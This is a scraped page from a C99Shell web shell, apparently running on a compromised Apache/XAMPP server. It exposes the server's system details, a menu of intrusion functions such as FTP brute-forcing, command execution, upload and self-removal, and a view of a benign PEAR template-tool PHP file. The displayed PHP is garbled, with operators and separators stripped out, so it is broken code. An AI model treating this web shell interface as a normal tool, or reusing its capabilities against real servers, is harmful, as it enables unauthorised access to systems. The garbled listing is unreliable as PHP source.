!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/HTML/Template/PHPLIB/   drwxr-xr-x
Free 11.9 GB of 61.93 GB (19.21%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Tool.php (4.51 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Additional tools for HTML_Template_PHPLIB
 *
 * PHP Versions 4 and 5
 *
 * @category HTML
 * @package  HTML_Template_PHPLIB
 * @author   Christian Weiske <cweiske@php.net>
 * @license  http://www.gnu.org/copyleft/lesser.html  LGPL License 2.1
 * @version  CVS: $Id$
 * @link     http://pear.php.net/package/HTML_Template_PHPLIB
 */

/**
* Command line tool to use the HTML_Template_PHPLIB validator and generator.
*
* @category HTML
* @package  HTML_Template_PHPLIB
* @author   Christian Weiske <cweiske@php.net>
* @license  http://www.gnu.org/copyleft/lesser.html LGPL License 2.1
* @link     http://pear.php.net/package/HTML_Template_PHPLIB
*/
class HTML_Template_PHPLIB_Tool
{
    
/**
    * Constructor
    *
    * @param array $args Cmdline arguments
    */
    
function HTML_Template_PHPLIB_Tool($args)
    {
        
$strAction $this->getAction($args);
        
$this->{'do' ucfirst($strAction)}($args);
    }
//function HTML_Template_PHPLIB_Tool($args)



    /**
    * Start the tool
    *
    * @return void
    * @static
    */
    
function run()
    {
        
$args $GLOBALS['argv'];
        
array_shift($args);
        new 
HTML_Template_PHPLIB_Tool($args);
    }
//function run()



    /**
    * Returns the action to execute
    *
    * @param array &$args Array of command line arguments
    *
    * @return string Action to execute
    */
    
function getAction(&$args)
    {
        if (
count($args) == 0) {
            return 
'help';
        }
        
$arg array_shift($args);
        switch (
$arg) {
        case 
'v':
        case 
'validate':
        case 
'-v':
        case 
'--validate':
            return 
'validate';
        case 
'g':
        case 
'generate':
        case 
'-g':
        case 
'--generate':
            return 
'generate';
        default:
            return 
'help';
        }
    }
//function getAction(&$args)



    /**
    * Echoes the message and exist php with the given
    *  exit code
    *
    * @param string $strMessage Message to display
    * @param int    $nExitCode  Exit code
    *
    * @return void
    */
    
function dieHard($strMessage$nExitCode)
    {
        echo 
$strMessage;
        exit(
$nExitCode);
    }
//function dieHard($strMessage, $nExitCode)



    /**
    * Prints the help message to stdout
    *
    * @return void
    */
    
function doHelp()
    {
        echo <<<EOT
Usage: html_template_phplibtool action parameters

Tool to validate and work with HTML templates

mode: (- and -- are optional)
 h,  help      Show this help screen
 g,  generate  Generate PHP code for the template
 v,  validate  Validate a template file

EOT;
    }
//function doHelp()



    /**
    * Validates the files given on the cmdline
    *
    * @param array $args Command line arguments (files)
    *
    * @return void
    */
    
function doValidate($args)
    {
        if (
count($args) == 0) {
            
$this->dieHard("No template files to validate\n"1);
        }

        include_once 
'HTML/Template/PHPLIB/Validator.php';
        
$nError 0;
        foreach (
$args as $file) {
            if (
file_exists($file)) {
                
$arErrors HTML_Template_PHPLIB_Validator::validate($file);
                if (
$arErrors === true) {
                    echo 
'No errors found in ' $file "\n";
                    
$nError =  0;
                } else if (
$arErrors === false) {
                    echo 
'Some unexpected error in ' $file "\n";
                    
$nError =  3;
                } else {
                    echo 
count($arErrors) . ' errors in ' $file "\n";
                    foreach (
$arErrors as $arError) {
                        echo 
' Line #' $arError['line'] . ': '
                            
$arError['message'] . "\n";
                    }
                    
$nError 10;
                }
            } else {
                echo 
'File does not exist: ' $file "\n";
                
$nError 4;
            }
        }
        
$this->dieHard(''$nError);
    }
//function doValidate($args)



    /**
    * Generates PHP code for the given template file
    *
    * @param array $args Command line arguments
    *
    * @return void
    */
    
function doGenerate($args)
    {
        if (
count($args) == 0) {
            
$this->dieHard("No template file given\n"1);
        }

        
$strFile $args[0];
        include_once 
'HTML/Template/PHPLIB/Generator.php';
        
$strCode HTML_Template_PHPLIB_Generator::getCodeBlockDefinition(
            
$strFile
        
);

        
$this->dieHard($strCode0);
    }
//function doGenerate($args)

}//class HTML_Template_PHPLIB_Tool

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5045 ]--